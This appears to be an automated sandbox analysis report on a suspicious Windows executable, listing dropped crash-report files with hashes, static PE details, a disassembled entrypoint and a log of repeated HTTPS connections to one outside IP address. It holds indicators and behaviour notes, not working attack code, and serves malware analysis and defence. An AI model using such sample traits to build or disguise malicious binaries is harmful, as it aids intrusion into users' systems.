Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="391586" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA935.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Jul 1 07:24:01 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	101108
Entropy (8bit):	2.087840884203208
Encrypted:	false
SSDEEP:	384:AI5H5paX5X75HnEfEkxYaUCvZb9LaWQhLiyMDy3XO3yjC4Vq75Z6D1ubH3Pg3zIj:A8uZ5nEf7kWQL9OCpIj
MD5:	E63835EB24058CCE2709C6C3D1A04320
SHA1:	642C768FA1C31DB01ACFC1671702813DF072EF0C
SHA-256:	FABF541552024AA176A63EEDAD79BB608770C053CCE35C86AC9726043CF98A58
SHA-512:	4ACB13BDE6957BDF4F41AB28A6D9E5FF2B6B158A89F86AEAC70852C94C2221A6F2657B48D9B816518A6AE62B775DCF188A7F0B23D3F8F5D8C96EDE947BAD8F22
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........Y.f.........................................#......d....J..........`.......8...........T............B...H..........(%...........'..............................................................................eJ.......'......GenuineIntel............T....... ...uY.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAA50.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8294
Entropy (8bit):	3.6999052158755275
Encrypted:	false
SSDEEP:	192:R6l7wVeJot63sr9e6Y9v6thWXgmf811rprO89bI8Rsf2WYm:R6lXJa6cI6Y16tegmfERI8Kf2Q
MD5:	083EA18287B1CC5FCA85B385211A203C
SHA1:	D71C8757AF304C6ED61608C2246F18FCB3037DFA
SHA-256:	CA0BFD84475392D6B934F25A2E6BE63482E034F516D2847DC0734A642D784700
SHA-512:	9FE6C2E3B13E1FB88ED0889A2EE6B835A3568001BF5BCB7F1C9395FB118C27879657BA3CF3FFED9DA846C916826AA153E3A33C529D45DFECC18E0C3690441970
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.1.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAA70.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4628
Entropy (8bit):	4.448620318724153
Encrypted:	false
SSDEEP:	48:cvIwWl8zsyJg77aI9ROWpW8VYCYm8M4JfuAsQF6sCj+q8olVuQgLuOLuWrd:uIjfAI77v7VyJfuLtZvlgBukuWrd
MD5:	7FD1633C49059A3588F37F550D4A0872
SHA1:	5D9F8E7B6F335F4DE3531F4B7712EBF4A14E9878
SHA-256:	D70D2C34C160C62C389D15B4EFC4367A7E3834A609FFCC3CF0CEED92471FE5E1
SHA-512:	D3877FA69A7976DEAEC601B1454C4624D2D3B16697A1A7ED73554C5707EA21EB78C2D6463E7E1F1E270E4F41CB63B4BB65EBE11ECE9E30762C04456DF77E3F1D
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="391586" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4251801333705565
Encrypted:	false
SSDEEP:	6144:BSvfpi6ceLP/9skLmb0OTyWSPHaJG8nAgeMZMMhA2fX4WABlEnNl0uhiTw:YvloTyW+EZMM6DFyD03w
MD5:	A2A5BF6F5D9FBB49F263B40CF802033B
SHA1:	E85AF25CFFD99F90D093D9C9437DBD2C3734D855
SHA-256:	A096EC5DCD763AD9224659C670FEFE9BEF2389CDD582C56601EB59B808622998
SHA-512:	0BF4E231F06EE1D21E7C90417F34715AB0DD06DFB55DBFC9075B1182FED169EC2236A171D0E3D65C15E65E40D3A8F24DE551E486DD51FD0740A59DE7F99EB874
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.661614937929796
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mkFOY01Gl5.exe
File size:	528'384 bytes
MD5:	0309dd0131150796ea99b30a62194fae
SHA1:	2df6e334708eae810a74b844fd57e18e9fdc34cd
SHA256:	07c09ba5a84f619e5b83a54298ffc58d20b00f14399c7a94b7f02b70efc60f35
SHA512:	3d4e5a0718d04fee92d8040880b631107d1e23a6b3bce430d58769179af999c28b99e50c5cd45f283339f7bbb24ffacbf601a5447edb12e28da4517fbfa282e8
SSDEEP:	12288:YwFARGxNB+mIuUOI+J0X6KALNGK34y1sB2Y+Jg4c:Yj4xb+mrZj1VHSB2Y6d
TLSH:	6FB4F10275C08072D573113605F8DBB86E3EB9704F6599CF97941B7E8F202E2FA35A6A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x...+...+...+z.....+z.....+z.....+k\....+k\....+z.....+...+(..+k\....+Z_....+Z_....+Z_....+Rich...+........PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x407452
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66810EB7 [Sun Jun 30 07:52:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	bea8657593f34831fef16a15915f462d

Entrypoint Preview

Instruction
call 00007FCFAC6482AEh
jmp 00007FCFAC647969h
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007FCFAC647B0Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007FCFAC647AFCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007FCFAC647AFEh
add edx, 28h
cmp edx, esi
jne 00007FCFAC647ADCh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007FCFAC647AEBh
push esi
call 00007FCFAC648584h
test eax, eax
je 00007FCFAC647B12h
mov eax, dword ptr fs:[00000018h]
mov esi, 004801F0h
mov edx, dword ptr [eax+04h]
jmp 00007FCFAC647AF6h
cmp edx, eax
je 00007FCFAC647B02h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007FCFAC647AE2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007FCFAC647AF9h
mov byte ptr [004801F4h], 00000001h
call 00007FCFAC647DAAh
call 00007FCFAC64AB17h
test al, al
jne 00007FCFAC647AF6h
xor al, al
pop ebp
ret
call 00007FCFAC6542E4h
test al, al
jne 00007FCFAC647AFCh
push 00000000h
call 00007FCFAC64AB1Eh
pop ecx
jmp 00007FCFAC647ADBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [004801F5h], 00000000h
je 00007FCFAC647AF6h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2f5c0	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2f610	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x81000	0x1d1c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2d868	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2d7a8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x25000	0x164	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x22e06	0x23000	bcfd4743919a7287f45509a4c87268d7	False	0.5696707589285714	data	6.6395354102405175	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.BsS	0x24000	0xe1d	0x1000	cd00c5aad3fabcefbb666ed38bc94e75	False	0.571044921875	data	5.9592480997149915	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x25000	0xae34	0xb000	269cf7a3d1bfd5dc301125bba1094a1e	False	0.42329545454545453	data	5.043395030886215	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x30000	0x50cf4	0x4fe00	20ba1805648860606c3ba6a2c47c9c18	False	0.9885318857589984	data	7.990757511119703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x81000	0x1d1c	0x1e00	1fc36b079fe1a28d899aecb42986d0b4	False	0.76484375	data	6.493243062616553	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

USER32.dll

OffsetRect

KERNEL32.dll

CreateFileW, HeapSize, GetProcessHeap, SetStdHandle, WaitForSingleObject, CreateThread, VirtualAlloc, GetModuleHandleA, GetProcAddress, GetConsoleWindow, CloseHandle, WaitForSingleObjectEx, GetCurrentThreadId, GetExitCodeThread, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, QueryPerformanceCounter, ReleaseSRWLockExclusive, WakeAllConditionVariable, EncodePointer, DecodePointer, MultiByteToWideChar, LCMapStringEx, GetSystemTimeAsFileTime, GetModuleHandleW, GetStringTypeW, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, SetEnvironmentVariableW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitThread, FreeLibraryAndExitThread, GetModuleHandleExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, GetFileType, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW

Exports

Name	Ordinal	Address
IUAhsiuchniuohAIU	1	0x424d00

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 09:23:35.287076950 CEST	49704	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:35.287127018 CEST	443	49704	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:35.287193060 CEST	49704	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:35.289505005 CEST	49704	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:35.289526939 CEST	443	49704	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:51.063465118 CEST	443	49704	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:51.063615084 CEST	49704	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:51.067439079 CEST	49704	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:51.067455053 CEST	443	49704	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:51.067749023 CEST	443	49704	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:51.120342016 CEST	49704	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:51.120362997 CEST	49704	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:51.120522976 CEST	443	49704	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:51.507936001 CEST	443	49704	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:51.508028984 CEST	443	49704	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:51.508122921 CEST	49704	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:51.510570049 CEST	49704	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:51.510600090 CEST	443	49704	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:51.510615110 CEST	49704	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:51.510622025 CEST	443	49704	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:51.516469002 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:51.516520977 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:51.516696930 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:51.517065048 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:51.517074108 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.250397921 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.250524044 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.252046108 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.252053976 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.252305984 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.255815029 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.255844116 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.255911112 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.692200899 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.692240953 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.692274094 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.692332029 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.692339897 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.692382097 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.692385912 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.692420006 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.692449093 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.692497969 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.692502975 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.692573071 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.692744970 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.692888975 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.693026066 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.693032026 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.735049009 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.735059023 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.781858921 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.784363985 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.784504890 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.784533978 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.784558058 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.784569979 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.784578085 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.784621000 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.784720898 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.784770966 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.785049915 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.785063982 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.785087109 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.785094976 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.822515011 CEST	49708	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.822570086 CEST	443	49708	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:52.822642088 CEST	49708	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.822978020 CEST	49708	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:52.822998047 CEST	443	49708	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:53.292536974 CEST	443	49708	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:53.292622089 CEST	49708	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:53.294410944 CEST	49708	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:53.294428110 CEST	443	49708	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:53.294707060 CEST	443	49708	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:53.295975924 CEST	49708	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:53.296132088 CEST	49708	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:53.296160936 CEST	443	49708	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:53.726450920 CEST	443	49708	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:53.726541996 CEST	443	49708	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:53.726609945 CEST	49708	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:53.726772070 CEST	49708	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:53.726797104 CEST	443	49708	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:53.775541067 CEST	49709	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:53.775573969 CEST	443	49709	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:53.775713921 CEST	49709	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:53.776020050 CEST	49709	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:53.776030064 CEST	443	49709	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:54.296291113 CEST	443	49709	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:54.296561003 CEST	49709	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:54.297971010 CEST	49709	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:54.297980070 CEST	443	49709	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:54.298336029 CEST	443	49709	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:54.299654007 CEST	49709	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:54.299787998 CEST	49709	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:54.299808979 CEST	443	49709	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:54.299863100 CEST	49709	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:54.299869061 CEST	443	49709	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:54.727808952 CEST	443	49709	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:54.727890015 CEST	443	49709	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:54.728008032 CEST	49709	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:54.728028059 CEST	49709	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:54.931252003 CEST	49711	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:54.931314945 CEST	443	49711	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:54.931523085 CEST	49711	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:54.931829929 CEST	49711	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:54.931838036 CEST	443	49711	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:55.410425901 CEST	443	49711	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:55.410516977 CEST	49711	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:55.411695004 CEST	49711	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:55.411726952 CEST	443	49711	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:55.411993980 CEST	443	49711	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:55.413160086 CEST	49711	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:55.413330078 CEST	49711	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:55.413369894 CEST	443	49711	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:55.413455963 CEST	49711	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:55.413475037 CEST	443	49711	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:56.237123966 CEST	443	49711	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:56.237222910 CEST	443	49711	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:56.237431049 CEST	49711	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:56.237466097 CEST	49711	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:56.329623938 CEST	49714	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:56.329658985 CEST	443	49714	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:56.329731941 CEST	49714	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:56.330199957 CEST	49714	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:56.330214024 CEST	443	49714	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:56.801548004 CEST	443	49714	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:56.801645041 CEST	49714	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:56.802887917 CEST	49714	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:56.802898884 CEST	443	49714	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:56.803142071 CEST	443	49714	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:56.810775042 CEST	49714	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:56.810842991 CEST	49714	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:56.810893059 CEST	443	49714	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:57.184555054 CEST	443	49714	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:57.184659004 CEST	443	49714	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:57.184762001 CEST	49714	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:57.184812069 CEST	49714	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:57.184839964 CEST	443	49714	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:57.204365969 CEST	49716	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:57.204401016 CEST	443	49716	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:57.204499960 CEST	49716	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:57.205003023 CEST	49716	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:57.205014944 CEST	443	49716	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:57.678580999 CEST	443	49716	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:57.678715944 CEST	49716	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:57.680118084 CEST	49716	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:57.680129051 CEST	443	49716	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:57.680368900 CEST	443	49716	188.114.96.3	192.168.2.5
Jul 1, 2024 09:23:57.689659119 CEST	49716	443	192.168.2.5	188.114.96.3
Jul 1, 2024 09:23:57.689759016 CEST	49716	443	192.168.2.5	188.114.96.3
